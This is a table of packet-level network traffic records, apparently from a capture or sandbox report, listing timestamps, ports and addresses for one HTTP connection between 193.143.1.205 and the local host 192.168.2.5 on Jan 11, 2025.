Jan 11, 2025 01:34:52.020013094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.020030975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.020051003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.020062923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.020081043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.020097971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.020113945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.020128965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.020143032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.020159006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.020176888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.020190954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.020870924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.045198917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.045219898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.045249939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.045269966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.045290947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.045312881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.045327902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.045373917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.086544037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.086564064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.086690903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105384111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105401039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105436087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105458021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105487108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105504036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105525017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105556011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105568886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105587006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105608940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105628967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105640888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105649948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105667114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105686903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105703115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105717897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105746984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105756998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105777025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105792046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105808973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105822086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105843067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105859995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105882883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105911016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105921030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105947018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105967045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.105982065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.105995893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106015921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106029987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.106036901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106056929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106071949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.106081009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106096983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106112957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.106132030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106153011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106168985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.106182098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106199026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106215000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.106225014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106256008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106262922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.106281996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106302023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106317997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.106328011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106348991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106363058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.106374025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106389046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.106401920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.135536909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135572910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135607958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135670900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135695934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135725975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.135749102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135772943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135787010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.135799885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135821104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.135832071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135850906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135869026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.135879040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135894060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135909081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.135934114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135950089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.135972023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.135989904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136017084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136024952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136044025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136059046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136085033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136104107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136118889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136133909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136151075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136173010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136187077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136202097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136223078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136235952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136250019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136264086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136271954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136303902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136322021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136343002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136359930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136384964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136399031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136426926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136435986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136455059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136476040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136483908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136501074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136521101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136533022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136549950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136581898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136589050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136614084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136635065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136651039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136657000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136677980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136692047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136706114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136732101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136748075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136760950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136780024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136790037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136807919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136828899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136843920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136852980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136873007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136881113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136898994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136918068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136934042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136944056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136964083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.136977911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.136989117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.137008905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.137021065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.177203894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.177221060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.177377939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196053982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196084976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196129084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196152925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196175098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196202993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196216106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196233034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196254015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196271896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196285009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196297884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196329117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196342945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196357012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196362972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196393013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196405888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196415901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196435928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196463108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196472883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196491003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196518898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196528912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196556091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196577072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196599960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196614981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196641922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196650982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196686983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196707964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196722984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196731091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196752071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196774960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196790934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196813107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196825981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196840048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196851969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196857929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196885109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196907043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196916103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196933985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196952105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196969986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.196980953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.196999073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197016001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.197027922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197048903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197060108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.197077990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197098017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197113037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.197122097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197137117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197154045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.197161913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197185040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197201967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197215080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.197236061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197244883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.197264910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.197294950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226167917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226190090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226228952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226252079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226281881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226305008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226335049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226350069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226378918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226389885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226411104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226433039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226440907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226459980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226502895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226525068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226558924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226568937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226608992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226615906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226624012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226630926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226639032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226645947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226654053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226660967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226667881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226675034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226681948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226689100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226711988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226721048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226728916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226735115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226742029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226748943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226828098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226845980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226861954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226886988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226902008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226916075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226926088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226953030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226970911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.226986885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.226998091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227019072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227039099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227051973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227072001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227087975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227101088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227134943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227154970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227183104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227204084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227220058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227231026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227252007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227267027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227282047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227298975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227328062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227343082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227360964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227387905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227401972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227420092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227444887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227452993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227474928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227483988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227504015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227519989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227545977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227556944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227571964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227592945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.227606058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227624893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.227646112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.267877102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.267899036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.268014908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.286434889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286492109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286505938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286540985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286560059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286580086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286611080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286632061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286653042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286660910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.286684036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.286690950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286710024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286736012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.286747932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286763906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.286797047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.286808968 CET	80	49704	193.143.1.205	192.168.2.5
